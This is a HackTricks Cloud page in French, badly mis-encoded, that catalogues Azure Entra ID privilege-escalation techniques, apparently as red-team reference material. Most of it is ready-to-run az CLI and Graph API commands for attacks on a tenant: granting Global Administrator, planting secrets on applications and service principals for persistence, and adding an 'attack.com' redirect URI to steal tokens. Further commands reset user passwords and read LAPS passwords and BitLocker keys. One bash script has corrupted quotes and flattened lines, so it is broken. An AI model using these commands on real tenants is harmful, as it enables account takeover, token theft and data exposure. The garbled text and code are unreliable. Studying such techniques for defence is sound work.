Az - EntraID Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Note
Notez que pas toutes les permissions granulaires que possĂšdent les rĂŽles intĂ©grĂ©s dans Entra ID sont Ă©ligibles pour ĂȘtre utilisĂ©es dans des rĂŽles personnalisĂ©s.
RĂŽles
RĂŽle: Privileged Role Administrator
Ce rĂŽle contient les permissions granulaires nĂ©cessaires pour pouvoir assigner des rĂŽles Ă des principals et pour donner davantage de permissions aux rĂŽles. Ces deux actions pourraient ĂȘtre abusĂ©es pour escalate privileges.
- Attribuer un rĂŽle Ă un utilisateur :
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Ajouter plus de permissions Ă un rĂŽle :
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Applications
microsoft.directory/applications/credentials/update
Cela permet Ă un attaquant de add credentials (passwords or certificates) aux applications existantes. Si lâapplication possĂšde des privileged permissions, lâattaquant peut sâauthentifier en tant que cette application et obtenir ces privilĂšges.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
Cela permet les mĂȘmes actions que applications/credentials/update, mais limitĂ© aux applications dâannuaire unique.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
En sâajoutant comme propriĂ©taire, un attaquant peut manipuler lâapplication, y compris les identifiants et les autorisations.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
Un attaquant peut ajouter un URI de redirection aux applications utilisĂ©es par les utilisateurs du tenant, puis leur partager des URLs de connexion qui utilisent ce nouvel URI de redirection afin de voler leurs tokens. Notez que si lâutilisateur Ă©tait dĂ©jĂ connectĂ© Ă lâapplication, lâauthentification sera automatique sans que lâutilisateur ait besoin dâaccepter quoi que ce soit.
Notez quâil est aussi possible de modifier les permissions demandĂ©es par lâapplication afin dâobtenir davantage dâautorisations, mais dans ce cas lâutilisateur devra accepter Ă nouveau lâinvite demandant toutes les autorisations.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Applications Privilege Escalation
As explained in this post il était trÚs courant de trouver des applications par défaut auxquelles avaient été assignées des API permissions de type Application.
Une API Permission (comme appelĂ©e dans la console Entra ID) de type Application signifie que lâapplication peut accĂ©der Ă lâAPI et effectuer des actions sans contexte utilisateur (sans quâun utilisateur se connecte Ă lâapp), et sans nĂ©cessiter de rĂŽles Entra ID pour lây autoriser. Par consĂ©quent, il est trĂšs courant de trouver des applications fortement privilĂ©giĂ©es dans chaque tenant Entra ID.
Ensuite, si un attaquant a une permission/role qui permet de mettre Ă jour les credentials (secret o certificate) de lâapplication, il peut gĂ©nĂ©rer un nouveau credential puis lâutiliser pour sâauthentifier en tant que lâapplication, obtenant ainsi toutes les permissions que possĂšde lâapplication.
Notez que le blog mentionnĂ© partage certaines API permissions dâapplications Microsoft par dĂ©faut ; cependant, quelque temps aprĂšs ce rapport Microsoft a corrigĂ© ce problĂšme et il nâest plus possible de se connecter en tant quâapplications Microsoft. Cependant, il est toujours possible de trouver des applications personnalisĂ©es avec de hauts privilĂšges pouvant ĂȘtre abusĂ©es.
How to enumerate the API permissions of an application:
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Trouver toutes les permissions API des applications et marquer les API appartenant Ă Microsoft
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( âf8cdef31-a31e-4b4a-93e4-5f571e91255aâ â72f988bf-86f1-41af-91ab-2d7cd011db47â )
is_microsoft_owner() { local owner=â$1â local id for id in â${MICROSOFT_OWNER_ORG_IDS[@]}â; do if [ â$ownerâ = â$idâ ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=â$1â local perm_type=â$2â local perm_id=â$3â local key value key=â${resource_app_id}|${perm_type}|${perm_id}â
value=â$(awk -F â\tâ -v k=â$keyâ â$1==k {print $2; exit}â â$tmp_perm_cacheâ)â if [ -n â$valueâ ]; then printf â%s\nâ â$valueâ return 0 fi
if [ â$perm_typeâ = âScopeâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âoauth2PermissionScopes[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â elif [ â$perm_typeâ = âRoleâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âappRoles[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â else value=ââ fi
[ -n â$valueâ ] || value=âUNKNOWNâ printf â%s\t%s\nâ â$keyâ â$valueâ >> â$tmp_perm_cacheâ printf â%s\nâ â$valueâ }
command -v az >/dev/null 2>&1 || { echo âaz CLI not foundâ >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo âjq not foundâ >&2; exit 1; } az account show >/dev/null
apps_json=â$(az ad app list âall âquery â[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]â -o json)â
tmp_map=â$(mktemp)â tmp_ids=â$(mktemp)â tmp_perm_cache=â$(mktemp)â trap ârm -f â$tmp_mapâ â$tmp_idsâ â$tmp_perm_cacheââ EXIT
Build unique resourceAppId values used by applications.
jq -r â.[][2][]?.resourceAppIdâ <<<â$apps_jsonâ | sort -u > â$tmp_idsâ
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n â$ridâ ] || continue sp_json=â$(az ad sp show âid â$ridâ âquery â{owner:appOwnerOrganizationId,name:displayName}â -o json 2>/dev/null || true)â owner=â$(jq -r â.owner // âUNKNOWNââ <<<â$sp_jsonâ)â name=â$(jq -r â.name // âUNKNOWNââ <<<â$sp_jsonâ)â printf â%s\t%s\t%s\nâ â$ridâ â$ownerâ â$nameâ >> â$tmp_mapâ done < â$tmp_idsâ
echo -e âappDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissionsâ
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=â$(jq -r â.[0]â <<<â$rowâ)â app_id=â$(jq -r â.[1]â <<<â$rowâ)â
while IFS= read -r rra; do resource_app_id=â$(jq -r â.resourceAppIdâ <<<â$rraâ)â map_line=â$(awk -F â\tâ -v id=â$resource_app_idâ â$1==id {print; exit}â â$tmp_mapâ)â owner_org=â$(awk -Fâ\tâ â{print $2}â <<<â$map_lineâ)â resource_name=â$(awk -Fâ\tâ â{print $3}â <<<â$map_lineâ)â
[ -n â$owner_orgâ ] || owner_org=âUNKNOWNâ [ -n â$resource_nameâ ] || resource_name=âUNKNOWNâ
if is_microsoft_owner â$owner_orgâ; then is_ms=âtrueâ else is_ms=âfalseâ fi
permissions_csv=ââ while IFS= read -r access; do perm_type=â$(jq -r â.typeâ <<<â$accessâ)â perm_id=â$(jq -r â.idâ <<<â$accessâ)â perm_value=â$(get_permission_value â$resource_app_idâ â$perm_typeâ â$perm_idâ)â perm_label=â${perm_type}:${perm_value}â if [ -z â$permissions_csvâ ]; then permissions_csv=â$perm_labelâ else permissions_csv=â${permissions_csv},${perm_label}â fi done < <(jq -c â.resourceAccess[]â <<<â$rraâ)
echo -e â${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}â done < <(jq -c â.[2][]â <<<â$rowâ) done < <(jq -c â.[]â <<<â$apps_jsonâ)
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
Ceci permet à un attacker d'ajouter des credentials aux service principals existants. Si le service principal dispose de privilÚges élevés, l'attacker peut assumer ces privilÚges.
```bash
az ad sp credential reset --id <sp-id> --append
Caution
Le nouveau mot de passe gĂ©nĂ©rĂ© nâapparaĂźtra pas dans la console web, donc cela peut ĂȘtre un moyen discret de maintenir une persistance sur un service principal.
Depuis lâAPI, ils peuvent ĂȘtre trouvĂ©s avec :az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Si vous obtenez lâerreur "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." câest parce que il nâest pas possible de modifier la propriĂ©tĂ© passwordCredentials du SP et vous devez dâabord la dĂ©verrouiller. Pour cela, vous avez besoin dâune permission (microsoft.directory/applications/allProperties/update) qui vous permet dâexĂ©cuter :
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
Cela permet Ă un attacker dâajouter des credentials Ă des service principals existants. Si le service principal dispose de privilĂšges Ă©levĂ©s, lâattacker peut assumer ces privilĂšges.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
De la mĂȘme maniĂšre que pour les applications, cette permission permet dâajouter davantage de propriĂ©taires Ă un service principal. PossĂ©der un service principal permet de contrĂŽler ses identifiants et ses autorisations.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
AprĂšs avoir ajoutĂ© un nouveau propriĂ©taire, jâai essayĂ© de le supprimer mais lâAPI a rĂ©pondu que la mĂ©thode DELETE nâĂ©tait pas prise en charge, mĂȘme si câest la mĂ©thode que vous devez utiliser pour supprimer le propriĂ©taire. Donc vous ne pouvez pas supprimer les propriĂ©taires pour lâinstant.
microsoft.directory/servicePrincipals/disable and enable
Ces permissions permettent de dĂ©sactiver et dâactiver des service principals. Un attaquant pourrait utiliser cette permission pour activer un service principal auquel il aurait pu accĂ©der dâune maniĂšre ou dâune autre afin dâescalader ses privilĂšges.
Notez que pour cette technique, lâattaquant aura besoin de permissions supplĂ©mentaires afin de prendre le contrĂŽle du service principal activĂ©.
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
Ces autorisations permettent de crĂ©er et dâobtenir des identifiants pour le single sign-on, ce qui pourrait permettre dâaccĂ©der Ă des applications tierces.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Groupes
microsoft.directory/groups/allProperties/update
Cette permission permet dâajouter des utilisateurs Ă des groupes privilĂ©giĂ©s, conduisant Ă une Ă©lĂ©vation de privilĂšges.
az ad group member add --group <GroupName> --member-id <UserId>
Remarque : Cette permission exclut les groupes assignables aux rĂŽles Entra ID.
microsoft.directory/groups/owners/update
Cette permission permet de devenir propriĂ©taire de groupes. Un propriĂ©taire dâun groupe peut contrĂŽler lâappartenance et les paramĂštres du groupe, ce qui peut potentiellement entraĂźner une Ă©lĂ©vation de privilĂšges au niveau du groupe.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Remarque : Cette permission exclut Entra ID role-assignable groups.
microsoft.directory/groups/members/update
Cette permission permet dâajouter des membres Ă un groupe. Un attacker pourrait sâajouter luiâmĂȘme ou ajouter des comptes malveillants Ă des groupes privilĂ©giĂ©s, ce qui pourrait lui octroyer un accĂšs privilĂ©giĂ©.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
Cette permission permet de mettre Ă jour la rĂšgle dâappartenance dâun groupe dynamique. Un attaquant pourrait modifier les rĂšgles dynamiques pour sâinclure lui-mĂȘme dans des groupes privilĂ©giĂ©s sans ajout explicite.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Note : Cette permission exclut les groupes assignables de rĂŽles Entra ID.
Privesc des groupes dynamiques
Il peut ĂȘtre possible pour des utilisateurs dâescalader leurs privilĂšges en modifiant leurs propres propriĂ©tĂ©s afin dâĂȘtre ajoutĂ©s en tant que membres de groupes dynamiques. Pour plus dâinformations, consulter :
Utilisateurs
microsoft.directory/users/password/update
Cette permission permet de rĂ©initialiser le mot de passe dâutilisateurs non-administrateurs, permettant Ă un attaquant potentiel dâescalader ses privilĂšges vers dâautres utilisateurs. Cette permission ne peut pas ĂȘtre assignĂ©e aux rĂŽles personnalisĂ©s.
az ad user update --id <user-id> --password "kweoifuh.234"
microsoft.directory/users/basic/update
Ce privilĂšge permet de modifier les propriĂ©tĂ©s dâun utilisateur. Il est courant de trouver des groupes dynamiques qui ajoutent des utilisateurs en fonction des valeurs des propriĂ©tĂ©s ; par consĂ©quent, cette permission pourrait permettre Ă un utilisateur de dĂ©finir la valeur de propriĂ©tĂ© requise pour devenir membre dâun groupe dynamique spĂ©cifique et dâescalader ses privilĂšges.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Conditional Access Policies & MFA bypass
Des conditional access policies mal configurĂ©es exigeant MFA peuvent ĂȘtre contournĂ©es â vĂ©rifiez :
Az - Conditional Access Policies & MFA Bypass
Appareils
microsoft.directory/devices/registeredOwners/update
Cette permission permet aux attackers de sâattribuer la propriĂ©tĂ© des appareils afin de prendre le contrĂŽle ou dâaccĂ©der aux paramĂštres et aux donnĂ©es propres aux appareils.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
Cette permission permet aux attackers dâassocier leur compte Ă des appareils pour obtenir lâaccĂšs ou contourner les politiques de sĂ©curitĂ©.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
Cette permission permet aux attaquants de lire les propriétés des credentials sauvegardés du compte administrateur local pour les appareils joints à Microsoft Entra, y compris le mot de passe
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
Cette permission permet dâaccĂ©der aux clĂ©s BitLocker, ce qui pourrait permettre Ă un attaquant de dĂ©crypter des disques, compromettant la confidentialitĂ© des donnĂ©es.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Autres permissions intéressantes (à FAIRE)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

